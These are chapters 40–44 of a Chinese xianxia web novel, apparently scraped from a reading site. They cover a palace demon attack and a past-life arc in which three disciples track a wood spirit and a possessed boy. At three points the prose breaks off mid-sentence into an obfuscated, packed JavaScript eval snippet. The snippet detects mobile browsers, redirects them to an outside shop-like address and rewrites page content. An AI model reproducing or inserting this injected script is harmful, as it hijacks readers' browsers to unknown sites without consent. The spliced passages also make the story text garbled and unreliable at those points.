有了它的法力加持,主上那阵法便能得到前所未有的巨大增幅。这千年来的吸纳蓄势已久,阵法已积蓄了最强的力量。到时不仅会吞了这个傲慢的小世子,甚至整个京城,都会是他们妖魔一族的天下。 他们九幽一脉蛰伏这么久,就为等待这一刻,登上全天下的至高之位,这一战就像千万年前踏平灵族一样,就此雪耻!而他纪春洲,便是主上面前第一大功臣! 纪春洲沉浸在自己的想法里,笑得那叫一个猖狂,沈流商却已转身,朝他微微颔首,便欲回座。不料肩头忽然一沉,沈如雁不知何时凑了过来。 “几日不见,本事见长呀?”沈如雁眼波流转,笑吟吟的,“那姓纪的为啥要找你的茬儿?记得有人找茬必须先怼回去,我阿弟就是好样的!” 沈流商鼻子伸得长长的:“雕虫小技罢了。” 沈如雁却凑得更近,压低声音,满是好奇:“别糊弄我,你同那姓纪的怎么回事,上次他救过你,好歹是咱的恩人,可要对人家客气点!是不是你小子臭脾气又犯了,怎么这次突然就……” “不晓得他抽了哪门子的风,也许是嫉妒我京城第一美男子的风姿吧……诶!” 沈流商被拧着耳朵,呲牙咧嘴的:“哎呀……姐夫、姐夫救命!” 然而就在这时,沈如雁忽然注意到,纪春洲的脸色似乎比方才更差了。他的手不受控制地痉挛着,袖口处似有东西极轻微地蠕动了。 沈如雁凑近过去,带着关切地问了一下:“纪统领,你这是怎么了……” 恰在此时,一道声音响彻大殿。 “陛下,皇后娘娘,诸位殿下。” 众人望去,只见国师云霜简手持 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一切发生得太快,沈如雁甚至来不及反应,那张扭曲布满诡异纹路的脸已在眼前放大。 一道身影从侧面狠狠撞来,将她推开! “噗嗤——!” 利齿入肉,鲜血喷溅! 那妖化的怪物,一口咬在了沈流商挡来的手臂上,深可见骨,甚至传出骨裂轻响! 云霜简翻转的掌心间,一点冷光无声亮起,又瞬间湮灭。那边狂暴的纪春洲骤然双目圆睁,数道浓黑的血迹自眼耳口鼻缓缓溢出,身躯随之瘫软下去。 云霜简道:“孽障!敢尔!” 那妖物还在呢喃着:“主、主上……” “轰隆——!!!” 就在拂尘即将击中之际,整座宫殿猛烈摇晃起来! 地动山摇!梁柱呻吟,灯盏砸落,瞬间点燃锦幔! “地龙翻身了!!” “走水了!护驾!!” 惊叫、哭喊、倒塌声轰然炸开!火光窜起,浓烟滚滚,人群互相推搡践踏,乱成一片。 混乱中,沈如雁被人流冲得跌倒在地。她挣扎抬头,只见火光烟雾交织处,妖化的纪春洲被拂尘击中,发出凄厉咆哮,一下瘫倒在地。 沈流商捂着几乎被咬断的手臂,冷汗涔涔,却将她推到宋歇那边,大喊着快走。随即,沈如雁也被人群吞没,靖王将她牢牢护住,迅速退向安全处,而沈如雁目呲欲裂,疯狂叫着太医。 沈流商此刻的沉静荡然无存。眼前的景象,倏然与记忆中那帧画面交叠。 不知是谁踩过他的手,沾满灰尘,渗出鲜血。可沈流商恍若未觉,只是向前爬,固执地、一寸寸地挪近。 “这次……我护住你们了……” 他翕动着嘴唇,喃喃低语。双眸失焦地望着虚空,那声音极轻,像一缕游丝般的气息,飘渺若梦。 “阿姐,夸夸我吧……” 体内仿佛有一股力量在撕扯,剧烈的疼痛从深处蔓延,甚至盖过了身上被逃窜的人群践踏的痛楚。 就在沈如雁快要挣脱掉宋歇的桎梏之时,一只手从旁稳稳拉住了她。然而颈后忽的传来一道轻而准的力道,沈如雁眼前一黑,软倒下去,而后将她抱在怀里带走。 高台上,侍卫已层层护住皇室宗亲,紧急转移。 云霜简立于混乱中央,祭服微扬,面色凝重。他看了一眼那蛟妖逃离的方向,又瞥向虚弱的沈流商。 他跌坐在冰冷的地面上,四周是奔逃的人群、冲天的火、呛人的烟。可这些忽然都退得很远,眼前反复闪回的,只有沈如雁那只染血的手,以及淹没在人群与火光之前,投向他的最后那一眼。 那一刻他看清楚了,沈如雁喊出的是“素鳞”,如千万年前在天火降世时如出一辙。 41. 前世篇(一) 人间,青州。 细雨如丝,沈流商支起木窗,潮湿的晨雾裹挟着泥土腥气扑面而来。他漫不经心衔着半枯的狗尾草,眼尾微挑,眉间那颗红痣陷在朦胧水汽里,清凌凌地勾人。 “喵呜——” 金色虚影凝成实体,那毛团窜出窗外,带起满庭簌簌叶浪。 “终于能撒欢了!”洛洛在泥地里打了个滚,溅起的水珠沾湿了沈流商的袍角。 他垂眸掸去水渍,目光却不由自主掠过爬满青苔的院墙。 三日了。 那人始终未曾现身。 这种近乎诡异的平静,比刀剑相向更令人心绪不宁。 他醒来第三日,伤还未好全便向师父请命下山,说要游历人间。 那新辟的“人间”之地,在三界灵族眼中,向来是荒僻之隅。此地自有三界之外的法则守护,人族也渐立起仙门——以流仙门为宗,借祖神所留的充盈灵气与花神元灵遗泽,踏上修道之途。 可人间终究初生,人族修士虽众,道基尚浅,在那些天生仙灵眼中,仍如雏鸟般柔弱。流仙门虽列三大宗,却是末席,灵族修士罕至,因为谁也不愿被派往这被视为“下界”的地方。 更有些视人族为祭品、为猎物的目光,始终悬在这片土地之上。但于他而言,人间此刻的微渺与寂寥,反倒成了他漫漫长路上,最初也最安静的落脚处。 沈流商慢条斯理地收拾着屋子,将小院里但凡值钱的物什尽数搜刮进储物灵囊。 直至从床底拖出那只装饰精美却锈锁斑驳的箱子,沈流商眼底才亮起微光:“藏得这般隐秘,总该是件值钱货?” 指尖银光流转,锁扣应声而落。 箱盖掀开的刹那,沈流商整个人僵在原地—— 箱内整整齐齐叠放着半透明的鲛纱睡袍,其上缀满细小的银铃,旁边是皮革束腰与缠绕的细铁链,甚至……还有一对毛茸茸的猫耳。 沈流商“啪”地合上箱盖,耳根烧得通红,做贼似的环顾四周,确认无人窥见,才强作镇定地直起身。 这个村子刚遭过妖袭,死气弥漫。不出十年,这里恐怕就要滋生出成窝的精怪,祸害周边百姓。寻常人根本不敢靠近,也只有他们这些修士,还能在此地出入不受鬼气侵袭。 随后,他便与那位洛小师妹一道,将村里值钱的物件搜刮一空。人族修道讲究诸多规矩,以修身养性弥补先天灵质的不足,讲究因果相还。而灵族修行,却重在随心所欲,只要不越天理人伦之界。 因此,沈流商此时将这份鲛纱收进乾坤袋,心中毫无愧意。或许有人要问:此物除了增添几分床笫私趣,还能有何用? 自然有用。黑市里专收这类东西,自有识货之人,懂得其中价值。 晨光破开薄雾,洒落庭院。他正欲继续搜寻,脚下却陡然一空—— “哎呦!” 惊呼声未落,人已重重摔在一片湿冷草甸上。 抬眼望去,柳清圆正立于不远处。雪色衣袂在薄雾中翻飞,衬得她宛若山间精魅。 枯枝断裂声刺破寂静。 柳清圆立在虬结树影里,白衣浸透晨露。 “怀崖老头为何封你灵力?下山游历罢了,竟只剩一成?”她的声音很轻,却裹着辨不清的复杂心绪。 往常总该留三分的。何况他们才刚过了百年一度的灵泽大比,柳清圆原打算借此潜心修习魂术与医毒,谁知沈流商突然请命下山,师父索性将三人一并遣出山门,落个清静。 “可就算只剩一成灵力,也不至于在人间……平地摔吧?” 沈流商抬手一揖,语带讥诮:“托大师姐的福。法咒加身,这三日困于方寸之地,自当好好‘适应’。” 他刻意咬重末尾二字,嘲讽之意显而易见。这倒不是随便耍脾气,还是事出有因。 柳清圆向来是三人中修为最高的,引路辨向素来由她担着。可这整整三日,他们却像被什么无形的东西困住了,分明一直在走,可兜兜转转,总又绕回这个村子。晨雾散了又聚,日头升了又落,脚下的路却仿佛活了过来,暗中打了个圈,一次次将他们送还原地。 偏偏柳清圆一直坚持自己的方向没错,三个人只能在这村子里暂且先找了个鬼屋安顿下来。 沈流商心中暗苦。眼前频现诡谲文字的心魔始终未除,为免被视作异类押入炼狱,只得借故下山。怀崖虽也束手无策,却仍护着他。沈流商心灰意冷想休学归家,老头不准,只将他遣来这人界僻处,此处仅有低阶精怪徘徊,不至于构成威胁。 三人中,唯有洛闻瑛兴致最高。下山路上,柳清圆得知自己竟要与沈流商一同历练,两人脸色都沉了下来,各自背剑冷脸,谁也不看谁。 偏偏洛闻瑛浑然不觉似的,一手搭一个,亲亲热热勾着两人肩膀,自己背上还驮着一座小山似的包裹,令人乍舌的是,里头满满当当的全是鲜花饼,各式花样,各种馅料,飘得一路都是甜腻花香。 得知真相的柳清圆与沈流商对视一眼,同时陷入了更深的沉默。 哦对,洛小师妹身边总跟着那只金色毛团似的小猫,取名“洛洛”,平日里不是蜷在她膝头,便是跃上她肩头,倒像另一个小小的、毛茸茸的她。 此刻,洛洛在院子里跑倦了,便轻巧一跃,正正落在沈流商头顶。旁边一只羽毛五彩斑斓的圆胖鸟儿顿时恼了,因为这向来是它的位置。鸟儿扑棱着翅膀飞旋叫嚷,伺机要啄那猫儿一记,好叫它知道先来后到。 这一猫一鸟是惯常要打架的,每回闹腾起来总要秃掉半边毛,而后双双蹭到洛闻瑛跟前,撒娇卖乖,求她帮忙恢复那身光鲜皮毛,还要在她面前乖乖签下和约,约法三章。只是这和平总不长久,协约墨迹未干,两小只便又撕毁誓盟,掀起新一轮“修仙界大战”。 每到这时,洛闻瑛便会一手一个将它们拎住,一个喂以臭烘烘的鱼干,一个塞进肉滚滚的丑虫子,才算暂平纷争。 柳清圆的目光在他脸上停留片刻,方缓缓道:“怀崖师父真是交给我一个‘好’差事。沈师弟,”她眉梢微挑,语气温和,“带你出来,确实麻烦不小。你修为刚破六阶,要追上我自是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576330|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不够,与旁人相比也不占优势。但——” 她话音一顿,眼里倏然亮了,一种近乎牺牲的光彩从眉宇间绽开,整个人霎时被笼上了一层无畏的、明澈的耀眼光芒。 “谁让我是你师姐呢?既然应下了,我就不会将你丢下。即便前路再难,我也会带着你们所有人……一起离开这里!” 沈流商面无表情地抬手遮住了眼睛。 太刺眼了。 说过多少次! 灵力不是拿来这样烧的! “师姐……师姐!”洛闻瑛提着青岚色裙摆气喘吁吁跑来,几乎快要踉跄跌倒,却在靠近柳清圆的那刻倏然亮起眼睛,张开双臂就要扑上去。 柳清圆早有预料般轻巧旋身,衣袂翩然划过一道弧线,恰好避开了她的拥抱。她侧过脸,眉梢微微一挑,唇角勾起一抹堪称邪魅的笑容。 自从在怀崖的藏书阁翻到那本《风华录》,她便对这般“飘逸出尘”的姿态格外着迷。 洛闻瑛却丝毫不觉失落,反而双手捧心,眼底星光点点。不怪她如此,前些日子她也在怀崖房前拾得一本旧册,名曰《悦卿方略》,此刻正活学活用。 二人一个风姿绰约,一个满眼崇拜,全然忘了不远处正陷于“水深火热”的沈流商。 “歪了!又歪了!”洛洛压低声音吼道,试图躲开头上那只圆滚滚的灵鸟。那鸟几次啄击未中,恼得扑棱翅膀,竟发出类似警告的咕咕声,尾羽微颤,试图发动顶级大招“顷刻三遗矢矣”。 眼看某种不妙攻击即将降临,沈流商僵在原地,面如死灰,仿佛下一刻便要去享福了。 而面前两人一个风姿绰约地演,一个满眼星光地看,独留沈流商在风中凌乱,几乎想要当场坐化。 沈流商眼疾手快,一把将头顶的洛洛捞下来,同时灵力微震,将那蠢蠢欲动的肥鸟弹开三尺远。 肥鸟“咕”地一声,在空中滚了两圈,羽毛乱飞,委屈地落在洛闻瑛肩头,用喙去蹭她的脸颊。 洛闻瑛这才回过神来,心疼地摸摸鸟儿的头,又看向沈流商:“沈大牛!你怎么这么对你的灵宠!就不怕它鸟都不鸟你了?” 沈流商懒得回答:“闻瑛师妹,你去探得地脉那木灵精魄,可有收获?” 柳清圆也收敛了方才那副“飘逸”姿态,神色恢复素常的清冷。洛闻瑛闭目凝神,指尖泛起微弱的淡紫色灵光,细细感知着四周流动的气息。 “虽然依旧难以捉摸,不过……”洛闻瑛望向村外笼罩在薄雾中的山林,“我感觉到它逃到那里去了。” “问问啾啾吧。”她轻柔地摸了摸那五彩鸟的头。 洛闻瑛指尖凝起的那点灵光才刚靠近,五彩鸟便急不可待地轻啄了上去,灵光瞬间没入它喉间。只静了一瞬,它忽然仰颈“啾”地清鸣一声,体型长大了一些,振翅从她掌心挣脱,头也不回地扎向远处最茂密的那片古树林。 “跟上吧!”洛闻瑛唤了一声,下意识想追。 “等等。”沈流商伸手拦住她,目光追随着那道五彩流光,“等它飞回来。” 42. 前世篇(二) 啾啾展翅飞回,身形眨眼缩成拳头大小,看起来恰似一只麻雀。它轻巧地落在沈流商掌心,“唧唧”低鸣几声。 沈流商也以同样的声音回应。一人一鸟便如此交换了一阵旁人难解的对话。 片刻,沈流商转过身来,向另外两人说道:“是妖气,就在前面。不过只是个二阶妖物……但有灵族的气息混在里面,还有血腥味。那灵族似乎被困住了。” 柳清圆已率先迈步:“跟上去看看。小心些,收敛气息。” 三人一猫悄然跟在肥鸟后方,穿过荒废的村落,踏入那片古树林。林中树木参天,枝叶蔽日,光线陡然暗了下来。脚下落叶堆积,踩上去绵软无声,更添几分幽寂。 越往深处,那股纯净的木灵气息便越明显,带着草木特有的清新与生机,与周围的死寂形成鲜明对比。 肥鸟在一棵尤其粗壮的古树前盘旋几圈,最终落在盘虬的树根上,歪着头,“咕咕”低鸣。 古树树干中空,形成一个天然的树洞,洞口被垂落的藤蔓半掩着。木灵的气息,正是从洞内丝丝缕缕地透出。 柳清圆示意二人止步,自己上前,指尖银芒更盛,轻轻拨开藤蔓。 树洞内并非想象中漆黑一片,反而有柔和如月华般的微光映出。洞底铺着干燥的苔藓和落叶,而在最中央,蜷缩着一团小小的、莹绿色的光晕。 那光晕约莫巴掌大小,形态不定,时而像初生的嫩叶,时而又似含苞的花蕾,散发着令人心旷神怡的生机。正是这微弱却精纯的木灵,驱散了周围一小片区域的死气。 “这是……木灵精魄?”洛闻瑛压低声音,眼中满是惊奇,“还未成形,极为脆弱。难怪地脉紊乱,怕是它在无意识中汲取地气,试图凝聚实体,却搅动了方圆数里的灵气走向。” 柳清圆点头:“它太弱小了,又不懂得收敛自身灵息,若非此地人迹罕至,又有死气遮掩,怕是早已被其他精怪或修士发现、炼化了。” 沈流商打量着那团微光,忽然道:“它似乎……受伤了?” 凝神细看,莹绿色的光晕边缘,确实缠绕着几缕极淡的黑气,如同细小的锁链,正缓慢地侵蚀着精魄的本源。精魄的光泽因此显得有些黯淡,气息也忽强忽弱。 “是怨气残痕。”柳清圆判断道,“村子遭袭时死去的生灵,残留的怨念无意识附着在它身上。它灵智未开,无法自行驱散,反受其害。” 洛闻瑛闻言,立刻从她那小山似的包裹里翻找起来。片刻后,竟真让她找出一个碧玉小瓶。 “这是我研制的新品,用晨露和几种宁神花草炼的‘拂柳霜露’,或许能帮它稳住灵体,驱散些怨气。”她说着,小心翼翼地将一滴晶莹露水滴向那团光晕。 露水触及光晕的刹那,化作更细碎的莹光,融入其中。精魄轻轻颤动了一下,光芒似乎明亮了一丝,边缘的黑气也淡去少许。 “有效!”洛闻瑛喜道。 柳清圆却沉吟道:“治标不治本。它需要的是一个稳定的、安全的灵地,慢慢吸收日月精华,化形稳固。此地死气与怨气交织,并非久留之所。” “那把它带走?”沈流商挑眉,“师姐不是最讲因果?这木灵精魄生于斯,我们若带走它,算不算干涉其自然造化?” 柳清圆瞥他一眼:“见其濒危而不救,任其被怨气侵蚀消散或被后来者掠夺,便是顺其自然了?修行之道,亦有‘机缘’二字。今日我们遇见它,或许正是它的机缘。至于因果……”她顿了顿,“我带它寻一处合适灵地安置,助它脱困,若它将来化形,自有其选择与偿还。此谓‘引缘’,非强‘结缘’。” 沈流商喉头一哽,欲言又止。这话并非冲他而来,却恰恰刺中他心头所念。 他暗自嗤笑:强扭的瓜不甜,倒惹得满身腥膻。 同心契能通心意,纵使两人未曾再见,这几日沈流商依旧心神恍惚。夜深时杂念丛生,思绪翻涌,有几次他自梦中惊醒,周身微颤,低头只见……一片湿凉狼藉。 可他抓不住那人。谢济泫太会藏。 夜夜春梦荒唐,谢济泫那厮……当真是龌龊至极。但沈流商终究欠他一条命。当日血尸海中,原本应对那六阶魔君游刃有余,谁知灵魄深处似有异物破芽而出,一时神智溃散,险些彻底入魔。若非谢济泫及时将他送回,后果不堪设想。 既然回来了,这段因果必要了结。何况怀崖早已探出他灵魄中结下的同心契,逼他非给个交代不可。 沈流商心底泛苦。交代?那人不要财、不要势,偏要看他屁股开花。他只得随口编了个故事,说不过是萍水相逢,往后江湖不见。 这三日,谢济泫如影随形,却又不留任何痕迹,搅得沈流商心神不宁,却拿他实在是没办法。 说话间,柳清圆已取出一个温润的羊脂白玉盒,盒上刻有聚灵安魂的符文。她将玉盒置于精魄旁,指尖银光流转,轻柔地将那团莹绿光晕引入盒中。玉盒合拢,光华内敛,只余淡淡暖意。 几乎在玉盒合上的瞬间,三人同时感到周围空气一清。那股始终笼罩着的、令人微感滞涩的无形之力,似乎悄然松动了。 “地脉……稳定些了。”柳清圆感知片刻,指向东北方,“那个方向,灵气流向趋于平顺,应是出路。” 然而,就在这时,一声厉喝划破空气。 “谁在那里!” 前方突然传来杂乱的脚步声,夹杂着少年焦急的喘息。 隐匿咒法的流光在草叶间游走,这能掩盖气息,却遮不住实体。能在这村子里出现的,尽是些死鬼妖煞。洛闻瑛等三人都透过草隙冷眼旁观。 只见一个穿着灰布衣衫的少年从林间小径冲出,怀里紧紧抱着一个布包,神色慌张。他约莫十五六岁年纪,面容清秀却带着营养不良的蜡黄。 他微微抬头,凌乱发丝间露出一双漆黑如墨的眼睛,带着几分隐忍的痛楚。少年磕磕绊绊地说道:“神……神仙?” 后面追来的壮汉大怒,抡起拳头就要砸下,却被这少年扣住手腕,反拧一下,壮汉痛得惊呼,另外几人见状,纷纷抄起棍棒围了上来。 “神仙救命!”少年突然开口。 这三人都装作看不见的样子。 少年:“……” 追赶的大汉也面面相觑,进也不是,退也不是。这些修士怎么不按套路出牌? 眼见这三人是铁定了不会救他,少年也不演了,他极快地抄起几截枯枝作剑,精准地钉在那些壮汉脚前,逼得他们连连后退。 “再上前一步,下一次便不是钉在地上了。”语气淡淡,却透着森然寒意。 “这小子……还真能招来些野鬼啊?看俺们下次找城头的道士来抓你,你、你你这妖怪,走着瞧!” 壮汉们被震慑住,面面相觑,最终悻悻地丢下几句狠话,转身离去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576331|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈流商这时笑了,起身向那少年走去:“你没事吧?” 他很热衷于扮演热心大哥哥的形象,方便探消息。 就在刚才一瞬间,他和柳清圆和洛闻瑛传音入密,商量了一下。他们决定,将计就计端了这一窝精怪,拿去换灵石,补做这三日被困的精神损失费。 然而畏畏缩缩的少年这时盯着他,那饥渴的眼神却像只饥肠辘辘的流浪小狼崽,只等着把他吞吃入腹。 少年抿唇不答,双眼墨色更甚。 “神仙……是真的神仙呐……” 沈流商微微眯眼,余光瞥见面无表情的柳清圆和洛闻瑛,三人眼神交汇,顿时心领神会。 沈流商缓步走近,目光落在少年脸上,伸手去扶他,故作关切道:“你叫什么名字?” “阿、阿牛。” 谢济泫的视线未曾离开沈流商。半张脸浸在树影中,眉眼凌厉,如未出鞘的刃,敛着寒芒。 短暂的静默后,他却依着沈流商的话动了。袍摆无风轻扬,似借着一缕看不见的气流,指尖将触未触地迎向那只手。 隐在暗处见不得人的谢济泫沉浸式傻笑:“!!!”好好牵!!! 而在阿牛搭上来的手将要握实时,一股尖锐的冷意刺来,阿牛顿感一阵吃痛,蓦地将手抽回。 “嘶!” 布衣少年静了半晌,望望眼前三位笑得阴恻恻的灵族,声音发怯:“你们……真是仙长?” 沈流商朝柳清圆方向微一颔首:“她是。我只算随行。”说话间,他不着痕迹地将拽住他衣角的阿牛的手拂开。 阿牛僵住。 他有限的脑容量停滞一瞬,转而去扯柳清圆的衣袖,还更加卖力地挤出了几点眼泪。 柳清圆先一步开口:“我不是。”指尖一引,长剑横隔,挡开了那只手。 阿牛再次僵住。 此时洛闻瑛终于松开了始终握着的柳清圆的手。她方才掐着空挡,一直捧着这位大师姐的手,指尖掌心都细细瞧过,心中暗叹美人连指节都生得这般匀亭好看。 此刻她抬起眼,眸中无辜,语气柔软,含着感人的怜悯:“这小娃娃怪可怜的。别哭了别哭了,我们会帮你哒。”她话音轻轻一转,“下回若要碰我师姐,记得先净手。衣冠也当整洁些,这是礼数!可记住了?” 阿牛彻底懵逼,心底一片茫然。 这踏马真是名门正派?怎么和他从前那些老鬼那里听来的……全然不同? 阿牛垂眸道:“抱、抱歉……我原本来城里找我爹拿药钱,但是、但是我爹不认我,还找一群人撵我……我、我的母亲生病好久了,仙长如此神通广大,可否帮我母亲瞧瞧病?” 沈流商展颜一笑:“自然可以,此为福德。” 转而看向柳清圆,“是吧,仙长?”暗中却使了个眼色:灵石对半分,我和小师妹共占一份。 柳清圆面上仍挂着笑,传音却冷淡:我七,余下归你们。 沈流商暗自咬牙:行,待会儿你打头阵。 洛闻瑛轻扯师姐衣袖,小声道:我的那份也都给师姐! 柳清圆这才真心露了笑意:好。 随即她端正神色,朗声道:“修行之人,自当除魔卫道。这般济世为民之事,我们义不容辞。” 沈流商:“……”呵呵不说话。 如此说定,少年便转身在前引路。 43. 前世篇(三) 起初沈流商以为送一个营养不良的少年回家很容易,但是他们低估了一个山里孩子的力量。 他们跟着阿牛接连翻了五六座大山,那孩子还不带喘口气的。不过沈流商情绪没有太大变化,从遇见这个孩子开始他就已经觉得见鬼了。 堪堪到破晓,他们才到了目的地。 阿牛的家在村子最偏僻的角落,一间破败的茅屋,门板歪斜,窗纸破烂。 屋内昏暗潮湿,角落里堆着干草,一张木床,一张瘸腿的桌子,便是全部家当。 沈流商:“你就住这儿?” 阿牛没回答,只是熟练地撕下衣角,沾水清理伤口。 沈流商环顾四周,目光落在墙角的一只木箱上——箱子上刻着繁复的符文,隐约透着灵力波动。 “你爹是修士?”沈流商挑眉。 他动作一顿,冷冷道:“不是。” “那这箱子上的封印符是谁画的?” 少年抿唇不语,眼神愈发警惕。 这时,门外传来脚步声,一个瘦弱的妇女推门而入,见到屋内有陌生人,吓得后退一步:“阿牛,他们是谁?” 阿牛迅速挡在妇女面前,声音低沉:“娘,您先进屋。” “这是我在外放牛的时候遇见的几位仙长,他们有善心,是来给您治病的。” 沈流商细细打量着她。 那女子面容清丽温婉,头发斜斜地随意挽成一个发髻,别有一支朴素的木簪。 只是她很是瘦弱,打着补丁的素白衣角滑落,露出一截苍白的手腕,有着一道淡淡的蓝紫色花纹。 察觉到沈流商的目光,妇女下意识地往下拉了拉衣袖,掩住了那纹路。 她犹豫地看了看柳清圆他们,最终还是点点头,转身进了里屋。 屋内气氛一时凝滞。 沈流商的目光在少年和那扇紧闭的里屋门之间游移,似笑非笑道:“看来你有很多秘密啊,小弟弟。” “我们这里有些伤药,可拿去暂缓你母亲的伤势。” 阿牛冷冷道:“不必,寻常伤药不管用的。”气质与先前判若两人。 沈流商轻笑一声,忽然抬手,看着似乎就要向木箱出手。阿牛瞳孔骤缩,几乎是瞬间扑向木箱,却被柳清圆一下折断手臂。 “让我猜猜,这里面装的是什么见不得人的东西?” 阿牛挣扎不得,眼中闪过一丝狠厉:“放开!” 柳清圆盯着少年那双血红的眼睛,面容沉静,眼底却是掩盖不住的快意,她轻声道:“你知道吗?你越是这样,我越是想知道——” 话音未落,不远处一间破旧的茅屋里突然传来一阵剧烈的咳嗽声,紧接着是重物倒地的闷响。 阿牛脸色大变,强压下断手的疼痛,冲进茅屋:“阿娘!” 沈流商和柳清圆对视一眼,跟了进去。 茅屋内昏昧潮闷,一位面色如纸的妇人瘫倒在地,唇角渗出一道暗褐血痕。洛闻瑛却静静蹲在一旁,手指紧扣妇人手腕,正凝神细看腕上那抹淡紫纹样。 她低声自语:“……蓝花楹?” 阿牛跪在那妇女身旁,颤抖着手去擦她唇边的血,声音哽咽:“娘,您再坚持一下,您马上、马上就会有救了……” 妇女虚弱地摇头,握住他的手:“阿牛……别、别再行恶……娘不行了……” 沈流商垂眸看着少年:“这是怎么回事?” 他暗自传音给洛闻瑛:与姑媱山有关? 洛闻瑛沉默片刻,摇摇头:姑媱山绝无可能出妖孽,应当是与先前那木灵精魄的气息有关。 柳清圆:……能换多少灵石? 那边阿牛张唇嗫嚅着,终究没吐出一个字。 妇女怜爱地看着少年,艰难开口:“阿牛……咳咳!!”她用袖子掩住嘴,拿开却沾了满袖的血,“告诉他们吧,为娘实在是看不得你……成为你爹那样……” 沈流商看向洛闻瑛,后者叹了口气,银光一闪,一个小瓷瓶出现在她手心。 洛闻瑛将药瓶扔给少年:“续命丹药,可暂时压制。” 阿牛接过药丸,小心翼翼地喂妇女服下。片刻后,妇女的呼吸平稳了些,沉沉睡去。 阿牛松了口气,转身看向沈流商他们,眼神复杂:“……谢谢。” 沈流商温声问道:“现在可否告诉我们,这是怎么一回事?” 灰衣少年将母亲轻柔地安置在床榻上,引着二人来到院中,轻轻阖上门。 阿牛竖指在前,悄声道:“妖毒一事,还望仙长保密……村里人闻妖色变,此事若传出,恐扰了母亲安宁。” 在少年断断续续的叙述中,一个悲惨的故事逐渐展开。 十年前这女子嫁到此地,因长年无子,便与丈夫收养了阿牛。一家三口虽生活清贫,却其乐融融。 直到三月前,一老道带着弟子途经此地,声称要往二百五十里外的离山收服一株即将成仙的千年灵木炼作法器。村中壮年纷纷跟随,女子的丈夫也在其中。 柳清圆打断:“断千年灵物仙途,业障深重,那老道是自寻死路。” 阿牛苦涩接话:“仙长说得不错……收妖那日怨气冲天,老道一行全军覆没,村中只有两三人重伤归来,都成了残废。” “我阿爹也在其中,但他不仅重伤,还失了神志。阿娘日夜照料,不想自己也染上妖毒……先前路过此地的仙长说,已是无力回天。” 院中一时寂静,唯有晨露滴落之声。 沈流商把玩着手中的枯叶,忽然轻笑:“寻药无法,所以你就入城寻修士骗至家中,那些''过路神仙'',都被你和你娘吃进了腹中。” “是也不是?” 阿牛眸中红光闪烁,却忽的感到无形的威压笼罩在身侧,重若千钧,立地支持不住,整个人趴在了地上。 而那副表面的人皮也渐渐消失,露出受魔纹侵蚀的腐败身躯。 沈流商目光锐利地看向阿牛:“若我所猜不错,你便是食取修士血肉,将其皮囊锁于那箱子之中,伪装成人吧?” 阿牛怨恨地看他:“那又如何?你们这群修士,都是奸诈狡猾的畜生!都该死! “我们几代人累死累活地缴纳灵贡,我阿爹……他就想为了我和娘,为了家里挣些口粮,结果就这么成了妖! “我吃了那些修士又怎样?那是他们应当的,都是他们欠我们的!村子里请了那群畜生来,就为了杀我爹!” “他们说,是妖,就该死!我爹被他们一剑杀了还不够……结果、结果还要被他们大卸八块,将三魂七魄也封在那箱子里!” 阿牛癫狂地笑:“那时候不知道怎么回事,兴许老天爷终于看不过去了吧,我得了力量,光是凭着想杀他们的心,我竟然真的如愿了哈哈!哈哈哈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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柳清圆正准备给他致命一击,却被沈流商抬手打断。 沈流商起身,缓步走近,依旧是那好看的眉眼,一只手按上了阿牛的头颅。 “度化他吧。” 柳清圆不情愿地按着沈流商的话动作。银色流光闪烁,阿牛狰狞的面目如虚影一闪,便化作光尘散去。 柳清圆不解:“为何要多此一举?他魂魄受蚀严重,就算是转世成人后,也只能托生成痴愚至极之辈。” 沈流商却笑了:“竟然不是质问我到手的灵石飞了?” 柳清圆:“……无聊。” 洛闻瑛也吐吐舌头:“无聊!” 沈流商收了笑,好容易才正经道:“历经七世苦楚,他便能洗脱冤债,修成富贵之人了。说到底……终究是背后之人造的孽。” “再说,你们消气了我便顺意,好心就送他一程。” 柳清圆她们听见这话,一个个脸上都露出“真是受不了”的表情,纷纷转过头盯着沈流商,异口同声:“你不对劲啊。” 沈流商咳嗽两声掩饰尴尬,转移话题:“那女子不简单,使这调虎离山之计,让阿牛做了替死鬼。你可知她如今在何处?” 柳清圆当即道:“真身已逃,便在离山。” 洛闻瑛却拉住了要走的二人:“后山有一处它的巢穴,那里有熟悉的气息。” 44. 前世篇(四) 后山石洞隐匿在盘根错节的古木之后,未及靠近,一股混合着腐肉与腥膻的浓重恶臭便扑面而来,几乎令人窒息。 洞内深处,铁链拖拽过粗糙石面的“哗啦”声响不绝于耳,其间夹杂着一种饱含痛苦的沉闷低吼,为这幽暗之地更添几分阴森。 沈流商脚步微顿,目光投向那深不见底的洞口。只见洞中深处,一团不祥的蓝紫色光晕正在不断膨胀,光芒渐盛,其上诡异的紫色纹路如同活物般蠕动,蛛网般向着四周岩壁蔓延,散发出令人不安的邪气。 